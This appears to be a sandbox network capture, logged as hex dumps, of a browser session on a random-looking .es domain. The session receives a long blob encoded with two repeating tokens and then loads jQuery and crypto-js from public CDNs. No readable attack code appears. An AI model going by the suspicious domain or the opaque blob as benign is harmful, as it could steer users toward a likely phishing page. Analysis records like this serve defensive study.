2025-03-26 21:11:08 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk77
2025-03-26 21:11:08 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44W
2025-03-26 21:11:08 UTC	885	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 Data Ascii: 76g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g
2025-03-26 21:11:08 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 Data Ascii: 7ffa776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk776g7
2025-03-26 21:11:08 UTC	1369	IN	Data Raw: 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 Data Ascii: g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44
2025-03-26 21:11:08 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 Data Ascii: 776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g776g776g776g776
2025-03-26 21:11:08 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b Data Ascii: 76g776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk44Wk

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:09 UTC	667	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:09 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 4265070 Date: Wed, 26 Mar 2025 21:11:09 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890072-NYC X-Cache: HIT, HIT X-Cache-Hits: 5930, 0 X-Timer: S1743023469.369200,VS0,VE1 Vary: Accept-Encoding
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-26 21:11:09 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:09 UTC	695	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:09 UTC	961	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:09 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 13465 Expires: Mon, 16 Mar 2026 21:11:09 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=16zqW6MfbZuNg3Lm9JDbz8ZsHwtgo4lFfJW7TT0%2FjDWk5l3I42bI3yA%2Fc2ZhcR1GgCwcW5wjENS2HgHuHFY6cRww4u0GgSJ2YgyEa1RCt3qZvXCp%2F%2Fyb4C1n2CMb1pkMdXzsjs%2BB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9269a38bdd7d7c99-EWR alt-svc: h3=":443"; ma=86400
